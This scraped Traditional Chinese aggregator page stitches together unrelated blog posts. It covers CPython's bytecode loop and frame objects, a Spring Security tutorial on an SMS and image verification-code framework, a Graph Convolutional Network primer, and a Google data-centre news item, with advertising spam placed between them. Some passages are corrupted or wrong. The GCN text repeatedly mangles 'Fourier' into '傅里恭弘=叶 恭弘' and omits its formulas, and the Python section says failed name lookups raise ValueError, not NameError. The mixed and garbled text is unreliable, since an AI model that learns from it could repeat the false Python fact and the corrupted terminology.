    Py_INCREF(value);  // 引用計數加1
    PUSH(value);     // 把剛剛創建的PyObject* push到當前的frame的stack上, 以便下一個指令從這個 stack 上面獲取
    goto fast_next_opcode;

2.5 main_loop

// Python\ceval.c
main_loop:
    for (;;) {
        ...
            
        switch (opcode) {
 
        /* BEWARE!
           It is essential that any operation that fails must goto error
           and that all operation that succeed call [FAST_]DISPATCH() ! */
 
        case TARGET(NOP): {
            FAST_DISPATCH();
        }
 
        case TARGET(LOAD_FAST): {
            PyObject *value = GETLOCAL(oparg);
            if (value == NULL) {
                format_exc_check_arg(PyExc_UnboundLocalError,
                                     UNBOUNDLOCAL_ERROR_MSG,
                                     PyTuple_GetItem(co->co_varnames, oparg));
                goto error;
            }
            Py_INCREF(value);
            PUSH(value);
            FAST_DISPATCH();
        }
 
        case TARGET(LOAD_CONST): {
            PREDICTED(LOAD_CONST);
            PyObject *value = GETITEM(consts, oparg);
            Py_INCREF(value);
            PUSH(value);
            FAST_DISPATCH();
        }
        ...
    }
}

在 python 虛擬機中,解釋器主要在一個很大的循環中,不停地讀入 opcode, 並根據 opcode 執行對應的指令,當執行完所有指令虛擬機退出,程序也就結束了

2.6 總結

過程描述:

  1. python先把代碼(.py文件)編譯成字節碼,交給字節碼虛擬機,然後虛擬機會從編譯得到的PyCodeObject對象中一條一條執行字節碼指令,並在當前的上下文環境中執行這條字節碼指令,從而完成程序的執行。Python虛擬機實際上是在模擬操作中執行文件的過程。PyCodeObject對象中包含了字節碼指令以及程序的所有靜態信息,但沒有包含程序運行時的動態信息——執行環境(PyFrameObject),後面會繼續記錄執行環境的閱讀。
  2. 從整體上看:OS中執行程序離不開兩個概念:進程和線程。python中模擬了這兩個概念,模擬進程和線程的分別是PyInterpreterStatePyTreadState。即:每個PyThreadState都對應着一個幀棧,python虛擬機在多個線程上切換(靠GIL實現線程之間的同步)。當python虛擬機開始執行時,它會先進行一些初始化操作,最後進入PyEval_EvalFramEx函數,內部實現了一個main_loop它的作用是不斷讀取編譯好的字節碼,並一條一條執行,類似CPU執行指令的過程。函數內部主要是一個switch結構,根據字節碼的不同執行不同的代碼

3. Python中的Frame

如上所說,PyCodeObject對象只是包含了字節碼指令集以及程序的相關靜態信息,虛擬機的執行還需要一個執行環境,即PyFrameObject,也就是對系統棧幀的模擬。

3.1 堆和棧的認識

堆中存的是對象。棧中存的是基本數據類型和堆中對象的引用。一個對象的大小是不可估計的,或者說是可以動態變化的,但是在棧中,一個對象只對應了一個4btye的引用(堆棧分離的好處)

內存中的堆棧和數據結構堆棧不是一個概念,可以說內存中的堆棧是真實存在的物理區,數據結構中的堆棧是抽象的數據存儲結構。

內存空間在邏輯上分為三部分:代碼區,靜態數據區和動態數據區,動態數據區有分為堆區和棧區

  • 代碼區:存儲的二進制代碼塊,高級調度(作業調度)、中級調度(內存調度)、低級調度(進程調度)控制代碼區執行代碼的切換
  • 靜態數據區:存儲全局變量,靜態變量,常量,系統自動分配和回收。
  • 動態數據區:
    • 棧區(stack):存儲運行方法的形參,局部變量,返回值,有編譯器自動分配和回收,操作類似數據結構中的棧
    • 堆區(heap):new一個對象的引用或者地址存儲在棧區,該地址指向指向對象存儲在堆區中的真實數據。如c中的malloc函數,python中的Pymalloc

3.2 PyFrameObject對象

typedef struct _frame{  
    PyObject_VAR_HEAD //"運行時棧"的大小是不確定的, 所以用可變長的對象
    struct _frame *f_back; //執行環境鏈上的前一個frame,很多個PyFrameObject連接起來形成執行環境鏈表  
    PyCodeObject *f_code; //PyCodeObject 對象,這個frame就是這個PyCodeObject對象的上下文環境  
    PyObject *f_builtins; //builtin名字空間  
    PyObject *f_globals;  //global名字空間  
    PyObject *f_locals;   //local名字空間  
    PyObject **f_valuestack; //"運行時棧"的棧底位置  
    PyObject **f_stacktop;   //"運行時棧"的棧頂位置  
    //...  
    int f_lasti;  //上一條字節碼指令在f_code中的偏移位置  
    int f_lineno; //當前字節碼對應的源代碼行  
    //...  
      
    //動態內存,維護(局部變量+cell對象集合+free對象集合+運行時棧)所需要的空間  
    PyObject *f_localsplus[1];    
} PyFrameObject; 

如果你想知道 PyFrameObject 中每個字段的意義, 請參考 Junnplus’ blog 或者直接閱讀源代碼,了解frame的執行過程可以參考zpoint’blog.

名字空間實際上是維護着變量名和變量值之間關係的PyDictObject對象。
f_builtins, f_globals, f_locals名字空間分別維護了builtin, global, local的name與對應值之間的映射關係。

每一個 PyFrameObject對象都維護了一個 PyCodeObject對象,這表明每一個 PyFrameObject中的動態內存空間對象都和源代碼中的一段Code相對應。

3.2.1 棧幀的獲取,工作中會用到

可以通過sys._getframe([depth]), 獲取指定深度的PyFrameObject對象

>>> import sys
>>> frame = sys._getframe()
>>> frame
<frame object at 0x103ab2d48>

3.2.2 python中變量名的解析規則 LEGB

Local -> Enclosed -> Global -> Built-In

  • Local 表示局部變量

  • Enclosed 表示嵌套的變量

  • Global 表示全局變量

  • Built-In 表示內建變量

如果這幾個順序都取不到,就會拋出 ValueError

可以在這個網站python執行可視化網站,觀察代碼執行流程,以及變量的轉換賦值情況。

4. 額外收穫

意外收穫: 之前知道pythonGIL , 遇到I/O阻塞時會釋放gil,現在從源碼中看到了對應的流程

if (_Py_atomic_load_relaxed(&ceval->gil_drop_request)) {
    /* Give another thread a chance */
    if (_PyThreadState_Swap(&runtime->gilstate, NULL) != tstate) {
        Py_FatalError("ceval: tstate mix-up");
    }
    drop_gil(ceval, tstate);

    /* Other threads may run now */

    take_gil(ceval, tstate);

    /* Check if we should make a quick exit. */
    exit_thread_if_finalizing(runtime, tstate);

    if (_PyThreadState_Swap(&runtime->gilstate, tstate) != NULL) {
        Py_FatalError("ceval: orphan tstate");
    }
}
/* Check for asynchronous exceptions. */

參考:

python 源碼分析 基本篇

python虛擬機運行原理

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

網頁設計最專業,超強功能平台可客製化

SpringSceurity(4)—短信驗證碼功能實現

SpringSceurity(4)—短信驗證碼功能實現

有關SpringSceurity系列之前有寫文章

1、SpringSecurity(1)—認證+授權代碼實現

2、SpringSecurity(2)—記住我功能實現

3、SpringSceurity(3)—圖形驗證碼功能實現

一、思考

1、設計思路

在獲取短信驗證碼功能和圖形驗證碼還是有很多相似的地方,所以這裡在設計獲取短信驗證的時候,將之前開發好的的圖形驗證碼進一步整合、抽象與重構。

在獲取驗證碼的時候,它們最大的不同在於: 圖形驗證碼是通過接口返回獲取給前端。而短信驗證碼而言是通過第三方API向我們手機推送

但是它們在登陸的時候就有很大的不同了,對於圖形驗證碼而言驗證通過之前就走 UsernamePasswordAuthenticationFilter 過濾器了開始校驗用戶名密碼了。

但對於短信登陸而言,確實也需要先現在短信驗證碼是否通過,但是一旦通過他是不走 UsernamePasswordAuthenticationFilter,而是通過其它方式查詢用戶信息來校驗

認證已經通過了。

這篇博客只寫獲取獲取短信驗證碼的功能,不寫通過短信驗證碼登陸的邏輯。

2、重構設計

這裏才是最重要的,如何去設計和整合短信驗證碼和圖形驗證碼的代碼,是我們最應該思考的。如何將相似部分抽離出來,然後去實現不相同的部分。

整理后發現不同點主要在於

 1、獲取驗證碼。因為對於圖形驗證碼需要有個畫布,而短信驗證碼並不需要,所以它們可以實現同一個接口,來完成不同的邏輯。
 2、發送驗證碼。對於圖形驗證碼來講只要把驗證碼返給前端就可以,而短信驗證碼而言是通過第三方API將驗證碼發到我們的手機上。
    所以這裏也可以通過實現統一接口來具體實現不同的方法。

相同部分我可以通過抽象類來完成實現,不同部分可以通過具體的實現類來實現。

AbstractValidateCodeProcessorService 抽象類是用來實現兩種驗證碼可以抽離的部分。ImageCodeProcessorServiceImpl

SmsCodeProcessorServiceImpl方法是來實現兩種驗證碼不同的發送方式。

在簡單看下時序圖可能會更加明白點。

一個接口只有一個方法(processor)就是處理驗證碼,它其實需要做三件事。

 1、獲取驗證碼。2、將驗證碼存入session。3、將驗證碼信息通過短信或者圖形驗證碼發送出去。

首先講生成獲取驗證碼,這裡有一個公共接口和兩個實現類

對於保存驗證碼信息而言,可以在直接在 AbstractValidateCodeProcessorService抽象類來完成,都不需要去實現。

對發送驗證碼信息而言,只需要實現AbstractValidateCodeProcessorService抽象類的send發送驗證碼接口即可。

整個大致接口設計就是這樣,具體的可以通過代碼來展示。

二、代碼實現

1、驗證碼屬性

短信驗證碼和圖形驗證后包含屬性有 codeexpireTime,短信驗證碼只有這兩個屬性,而圖形驗證碼還多一個BufferedImage實例對象屬性,所以將共同屬性進行抽取

,抽取為ValidateCode類,代碼如下:

ValidateCode實體

@Data
@AllArgsConstructor
@NoArgsConstructor
public class ValidateCode {

    private String code;

    private LocalDateTime expireTime;

    public boolean isExpired() {
        return LocalDateTime.now().isAfter(expireTime);
    }

}

對於圖形驗證碼而言,除了需要code和過期時間還需要圖片的畫布,所以繼承ValidateCode之後再寫自己屬性

ImageCode實體

@Data
public class ImageCode extends ValidateCode {

    private BufferedImage image;

    public ImageCode(BufferedImage image, String code, LocalDateTime expireTime) {
        super(code, expireTime);
        this.image = image;
    }

    public ImageCode(BufferedImage image, String code, int expireIn) {
        super(code, LocalDateTime.now().plusSeconds(expireIn));
        this.image = image;
    }
}

對於短信驗證碼而言,暫時不需要添加自己的屬性字段了。

SmsCode實體

public class SmsCode extends ValidateCode {

    public SmsCode(String code, LocalDateTime expireTime) {
        super(code, expireTime);
    }

    public SmsCode(String code, int expireIn) {
        super(code, LocalDateTime.now().plusSeconds(expireIn));
    }
}

2、ValidateCodeProcessor接口

ValidateCodeProcessor接口主要是完成 驗證碼的生成、保存與發送的完整流程,接口的主要設計如下所示:

ValidateCodeProcessorService接口

public interface ValidateCodeProcessorService {

    /**
     * 因為現在有兩種驗證碼,所以存放到seesion的key不能一樣,所以前綴+具體type
     */
    String SESSION_KEY_PREFIX = "SESSION_KEY_FOR_CODE_";
    /**
     * 通過也是 type+CODE_PROCESSOR獲取對於的bean
     */
    String CODE_PROCESSOR = "CodeProcessorService";

    /**
     * 這個接口要做三件事
     * 1、獲取驗證碼。
     * 2、將驗證碼存入session
     * 3、將驗證碼信息通過短信或者圖形驗證碼發送出去。
     * (將spring-boot-security-study-03接口裡的那三步進行里封裝)
     *
     */
    void processor(ServletWebRequest request) throws Exception;

由於圖片驗證碼和短信驗證碼的 生成和保存、發送等流程是固定的。所以這裏寫一個抽象類來實現ValidateCodeProcessor接口,來實現相似部分。

AbstractValidateCodeProcessorService抽象類

@Component
public abstract class AbstractValidateCodeProcessorService<C> implements ValidateCodeProcessorService {

    private static final String SEPARATOR = "/code/";

    /**
     * 操作session的工具集
     */
    private SessionStrategy sessionStrategy = new HttpSessionSessionStrategy();

    /**
     * 這是Spring的一個特性,就是在項目啟動的時候會自動收集系統中 {@link ValidateCodeGeneratorService} 接口的實現類對象
     *
     * key為bean name
     */
    @Autowired
    private Map<String, ValidateCodeGeneratorService> validateCodeGeneratorMap;

    @Override
    public void processor(ServletWebRequest request) throws Exception {
        //第一件事
        C validateCode = generate(request);
        //第二件事
        save(request, validateCode);
        //第三件事
        send(request, validateCode);
    }

    /**
     * 生成驗證碼
     *
     */
    private C generate(ServletWebRequest request) {
        String type = getProcessorType(request);
        //這裏 image+CodeGenerator = imgCodeGenerator 對應的就是ImageCodeGeneratorServiceService
        ValidateCodeGeneratorService validateCodeGenerator = validateCodeGeneratorMap.get(type.concat(ValidateCodeGeneratorService.CODE_GENERATOR));
        return (C) validateCodeGenerator.generate(request);
    }

    /**
     * 保存驗證碼到session中
     */
    private void save(ServletWebRequest request, C validateCode) {
        //這裏也是封裝了一下
        sessionStrategy.setAttribute(request, SESSION_KEY_PREFIX.concat(getProcessorType(request).toUpperCase()), validateCode);
    }

    /**
     * 發送驗證碼 (只有發送驗證碼是需要自己去實現的。)
     */
    protected abstract void send(ServletWebRequest request, C validateCode) throws Exception;

    /**
     * 獲取請求URL中具體請求的驗證碼類型
     *
     */
    private String getProcessorType(ServletWebRequest request) {
        // 獲取URI分割后的第二個片段 (/code/image 通過/code/ 切割后就只剩下 image
        return StringUtils.substringAfter(request.getRequest().getRequestURI(), SEPARATOR);
    }
}

簡單說明

1、這裏用到了Spring一個特性就是Map<String, ValidateCodeGeneratorService> validateCodeGeneratorMap 可以把ValidateCodeGeneratorService所以的實現類都放
到這個map中,key為bean的名稱。

2、抽象類中實現了 ValidateCodeProcessor接口的processor方法,它主要是完成了驗證碼的創建、保存和發送的功能。

3、generate 方法根據傳入的不同泛型而生成了特定的驗證碼。

4、save 方法是將生成的驗證碼實例對象存入到session中,兩種驗證碼的存儲方式一致,只是有個key不一致,所以代碼也是通用的。

5、send 方法一個抽象方法,分別由ImageCodeProcessorService和SmsCodeProcessorService來具體實現,也是根據泛型來判斷具體調用哪一個具體的實現類的send方法。

3、驗證碼的生成接口

上面說過驗證的生成應該也是通過實現類

ValidateCodeGeneratorService

public interface ValidateCodeGeneratorService {

    /**
     * 這個常量也是用來 type+CodeGeneratorService獲取對於bean對象
     */
    String CODE_GENERATOR = "CodeGeneratorService";

    /**
     * 生成驗證碼
     * 具體是圖片驗證碼 還是短信驗證碼就需要對應的實現類
     */
    ValidateCode generate(ServletWebRequest request);
}

圖形驗證碼具體實現類

mageCodeGeneratorServiceImpl

@Data
@Component("imageCodeGeneratorService")
public class ImageCodeGeneratorServiceImpl implements ValidateCodeGeneratorService {

    private static final String IMAGE_WIDTH_NAME = "width";
    private static final String IMAGE_HEIGHT_NAME = "height";
    private static final Integer MAX_COLOR_VALUE = 255;

    @Autowired
    private ValidateCodeProperties validateCodeProperties;

    @Override
    public ImageCode generate(ServletWebRequest request) {
        int width = ServletRequestUtils.getIntParameter(request.getRequest(), IMAGE_WIDTH_NAME, validateCodeProperties.getImage().getWidth());
        int height = ServletRequestUtils.getIntParameter(request.getRequest(), IMAGE_HEIGHT_NAME,validateCodeProperties.getImage().getHeight());
        BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);
        Graphics g = image.getGraphics();

        Random random = new Random();

        // 生成畫布
        g.setColor(getRandColor(200, 250));
        g.fillRect(0, 0, width, height);
        g.setFont(new Font("Times New Roman", Font.ITALIC, 20));
        g.setColor(getRandColor(160, 200));
        for (int i = 0; i < 155; i++) {
            int x = random.nextInt(width);
            int y = random.nextInt(height);
            int xl = random.nextInt(12);
            int yl = random.nextInt(12);
            g.drawLine(x, y, x + xl, y + yl);
        }

        // 生成数字驗證碼
        StringBuilder sRand = new StringBuilder();
        for (int i = 0; i < validateCodeProperties.getImage().getLength(); i++) {
            String rand = String.valueOf(random.nextInt(10));
            sRand.append(rand);
            g.setColor(new Color(20 + random.nextInt(110), 20 + random.nextInt(110), 20 + random.nextInt(110)));
            g.drawString(rand, 13 * i + 6, 16);
        }

        g.dispose();

        return new ImageCode(image, sRand.toString(), validateCodeProperties.getImage().getExpireIn());
    }

    /**
     * 生成隨機背景條紋
     *
     * @param fc 前景色
     * @param bc 背景色
     * @return RGB顏色
     */
    private Color getRandColor(int fc, int bc) {
        Random random = new Random();
        if (fc > MAX_COLOR_VALUE) {
            fc = MAX_COLOR_VALUE;
        }
        if (bc > MAX_COLOR_VALUE) {
            bc = MAX_COLOR_VALUE;
        }
        int r = fc + random.nextInt(bc - fc);
        int g = fc + random.nextInt(bc - fc);
        int b = fc + random.nextInt(bc - fc);
        return new Color(r, g, b);
    }
}

短信驗證碼具體實現類

SmsCodeGeneratorServiceImpl

@Data
@Component("smsCodeGeneratorService")
public class SmsCodeGeneratorServiceImpl implements ValidateCodeGeneratorService {

    @Autowired
    private ValidateCodeProperties validateCodeProperties;


    @Override
    public SmsCode generate(ServletWebRequest request) {
        //生成隨機數
        String code = RandomStringUtils.randomNumeric(validateCodeProperties.getSms().getLength());
        return new SmsCode(code, validateCodeProperties.getSms().getExpireIn());
    }
}

4、驗證碼的發送邏輯類

獲取的實現類寫好了,我們在寫發送具體的發送實現類,發送類的實現類是實現AbstractValidateCodeProcessorService抽象類的。

圖片發送實現類

ImageCodeProcessorServiceImpl

@Component("imageCodeProcessorService")
public class ImageCodeProcessorServiceImpl extends AbstractValidateCodeProcessorService<ImageCode> {

    private static final String FORMAT_NAME = "JPEG";

    /**
     * 發送圖形驗證碼,將其寫到相應中
     *
     * @param request   ServletWebRequest實例對象
     * @param imageCode 驗證碼
     */
    @Override
    protected void send(ServletWebRequest request, ImageCode imageCode) throws Exception {
        ImageIO.write(imageCode.getImage(), FORMAT_NAME, request.getResponse().getOutputStream());
    }
}

短信發送具體實現類。這裏只是後台輸出就好了,實際中只要接入對於的SDK就可以了。

SmsCodeProcessorServiceImpl

@Component("smsCodeProcessorService")
public class SmsCodeProcessorServiceImpl extends AbstractValidateCodeProcessorService<SmsCode> {
    private static final String SMS_CODE_PARAM_NAME = "mobile";

    @Override
    protected void send(ServletWebRequest request, SmsCode smsCode) throws Exception {
        //這裡有一個參數也是前端需要傳來的 就是用戶的手機號
        String mobile = ServletRequestUtils.getRequiredStringParameter(request.getRequest(), SMS_CODE_PARAM_NAME);
        // 這裏僅僅寫個打印,具體邏輯一般都是調用第三方接口發送短信
        System.out.println("向手機號為:" + mobile + "的用戶發送驗證碼:" + smsCode.getCode());
    }

整個大致就是這樣,我們再來測試一下。

三、測試

1、ValidateCodeController接口

獲取驗證碼接口

@RestController
@Slf4j
public class ValidateCodeController {


    @Autowired
    private  Map<String, ValidateCodeProcessorService> validateCodeProcessorMap;


    @RequestMapping("/code/{type}")
    public void createCode(HttpServletRequest request, HttpServletResponse response, @PathVariable String type) throws Exception {
        if(!StringUtils.equalsAny(type, "image", "sms")){
            log.info("type類型錯誤 type={}",type);
            return;
        };

        //根據type獲取具體的實現類
        ValidateCodeProcessorService validateCodeProcessorService = validateCodeProcessorMap.get(type.concat(ValidateCodeProcessorService.CODE_PROCESSOR));
        validateCodeProcessorService.processor(new ServletWebRequest(request, response));

    }

}

2、獲得圖形驗證碼

獲取成功

3、獲取短信驗證碼

獲取短信驗證碼需要多傳一個參數就是mobile 手機號碼

因為這裏發送短信沒有接第三方SDK,而是直接在控制台輸出

參考

1、Spring Security技術棧開發企業級認證與授權(JoJo)

這一套架構設計真的非常的好,代碼可讀性和可用性都非常高,以後如果要接第三個驗證碼只要實現發送和獲取的接口來自定義實a現就好了。很受啟發!

別人罵我胖,我會生氣,因為我心裏承認了我胖。別人說我矮,我就會覺得好笑,因為我心裏知道我不可能矮。這就是我們為什麼會對別人的攻擊生氣。
攻我盾者,乃我內心之矛(20)

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計最專業,超強功能平台可客製化

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※回頭車貨運收費標準

※推薦評價好的iphone維修中心

※教你寫出一流的銷售文案?

台中搬家公司教你幾個打包小技巧,輕鬆整理裝箱!

台中搬家公司費用怎麼算?

關於Graph Convolutional Network的初步理解

  為給之後關於圖卷積網絡的科研做知識積累,這裏寫一篇關於GCN基本理解的博客。GCN的本質是一個圖網絡中,特徵信息的交互+與傳播。這裏的圖指的不是圖片,而是數據結構中的圖,圖卷積網絡的應用非常廣泛 ,經常被舉到的典型例子就是一個空間中熱量的傳遞和交互,這裏不多作贅述。

一、圖卷積網絡與普通卷積網絡的應用範圍

  圖卷積網絡為什麼叫圖卷積網絡呢?圖卷積網絡,其實就是就是GCN,但GCN為什麼是圖神經網絡呢?小編也很疑惑。

  好了!開玩笑的話先打住,進入正題。首先複習一下卷積神經網絡的工作原理,以檢測圖片的過程為例,卷積神經網絡提取圖片特徵的過程,其實就是對每個像素周邊像素加權求和的過程,初始每個像素對應的卷積核的權重隨機,在通過反向傳遞、逐層梯度下降的優化之後才會得到合理的權重,根據這個權重得到的feature map便是特徵提取的結果。對於圖像等像素排列規整的結構來說,使用普通的卷積神經網絡提取特徵沒有任何問題,但對於某些形如交通網、電網等“不整齊”的結構,普通的CNN就沒有用武之地了,引用知乎大佬學術性的話講,就是“CNN在Non Euclidean Structure的數據上無法保持平移不變性”,翻譯成人話就是對於圖結構的數據,其每個點鄰接的數量各不相同,會給CNN提取特徵帶來很大的困難;要提取圖結構的空間特徵進行後續的機器學習,就需要使用圖卷積網絡。簡而言之,GCN是CNN的升級版,CNN做不到的,GCN可以做,GCN做的到的,CNN做不到。

二、圖卷積網絡提取空間特徵的方式

  提取拓撲圖空間特徵有兩種方法:空間領域與譜領域。這裏我只對譜領域的提取方法作總結概述(空間領域的沒學),通過定義圖上的傅里恭弘=叶 恭弘變換,圖的卷積方式得到表示方式,與深度學習結合得到最終的圖卷積網絡。在進行傅里恭弘=叶 恭弘和卷積的推導前先複習一下線代?一張圖的拉普拉斯矩陣一般為其度矩陣D減去其鄰接矩陣A,其他常見定義也有D-1LD與D-1L。

1.圖的特徵分解

  對圖的拉普拉斯矩陣進行譜分解,說的通俗易懂一點就是對角化。使用拉普拉斯矩陣進行運算的優勢在這裏體現:拉普拉斯矩陣滿足譜分解所需線性無關的條件。圖的拉普拉斯矩陣分解形式為UPU-1,其中U=[u1,u2,…,un],為列向量是單位特徵向量的矩陣;P為含有n個特徵值的對角矩陣。

2.含特徵向量與特徵值矩陣的傅里恭弘=叶 恭弘變換定義

  在瀏覽一些大佬的博客與知乎時我常常感到詫異:進行完矩陣分解后怎麼突然講到傅里恭弘=叶 恭弘變化了?理清思路后發現相關矩陣傅里恭弘=叶 恭弘變換的定義是最後卷積公式推導的基礎,由於兩函數的卷積是其函數傅立恭弘=叶 恭弘變換乘積的逆變換,即:

  為了能將針對圖的傅里恭弘=叶 恭弘變換類比代入上述公式,我們需要推廣傅里恭弘=叶 恭弘變換,把特徵函數 eiωt 變為拉普拉斯矩陣的特徵向量。

  由傅里恭弘=叶 恭弘變換的一般形式:

  類比特徵方程定義:

LV=λV

  L、V、λ分別代表拉普拉斯矩陣、特徵向量/函數、特徵值。將特徵向量與前面定義的u矩陣對應,得到最終圖的傅里恭弘=叶 恭弘變換定義為:

 

  其中f(i)對應圖的各個頂點,ux*(i)表示第x個特徵向量的第 i 個分量。那麼特徵值λx下F的圖傅里恭弘=叶 恭弘變換就是與λx對應的特徵向量ux進行內積運算。矩陣形式為:

  即f^=UT f。同時由傅里恭弘=叶 恭弘逆變換基本公式:

  得到傅里恭弘=叶 恭弘逆變換的矩陣形式:

  

  即f=Uf^

3.圖卷積推導  

  在定義完圖上的傅里恭弘=叶 恭弘變換之後,總算要開始讓夢想照進現實將卷積運算推廣到圖上了。由卷積定理:

     將對應圖上各點的f與卷積核h的傅里恭弘=叶 恭弘定義代入其中,卷積核在圖上的傅里恭弘=叶 恭弘變換被定義為:

  按卷積定理將兩者傅里恭弘=叶 恭弘變換形式相乘得到:

  最後乘U求得傅立恭弘=叶 恭弘變換乘積的逆變換,最終得到卷積:

  以上,GCN粗略的推導過程就整理完畢了。

 

  參考網站: https://www.zhihu.com/question/54504471?sort=created

        https://www.cnblogs.com/h2zZhou/p/8405717.html

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※回頭車貨運收費標準

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※推薦評價好的iphone維修中心

※教你寫出一流的銷售文案?

台中搬家公司教你幾個打包小技巧,輕鬆整理裝箱!

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

Google 推出「碳智慧運算平台」 讓資料中心根據天氣調配綠能使用

摘錄自2020年5月26日 科技報橘報導

Google 已在全球建立 20 個資料中心。Google 為達到讓自己的資料中心的運作朝向零碳排放的長期目標,近期展開了新的計畫,成了立一組團隊推出「碳智慧運算平台」,並與丹麥綠能科技公司 Tomorrow 合作,透過天氣預測即時調配何時適合使用再生能源,讓資料中心能充分利用、處理能再生能源的電力來運作資料運行。

Google 表示,這個平台不需要增外的硬體運作,也不會影響 Google 本身既有的服務,會受調整的資料運行工作是如 Google Photo 濾鏡的新功能的製作,或是增加 Google 翻譯的新單字等等,透過減少碳足跡,來讓 24 小時無碳能源供應的願景更近一步。

Google 透過調節資料運作時間來減少碳排放的計畫聽起來新穎且聰慧,不過 Google 尚未提供相關研究成果的詳細數據,根據 Techchruch 的報導,該計劃的技術代表 Ana Radovanovic 表示,初步的結果證明這樣的方式是有效的,不過資料運算轉移方法與觀測成效等相關研究結果,要等到預計今年稍後才會進行發表。

能源議題
能源節約
能源轉型
國際新聞
美國
綠能
智慧型節能
零碳排放

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

※別再煩惱如何寫文案,掌握八大原則!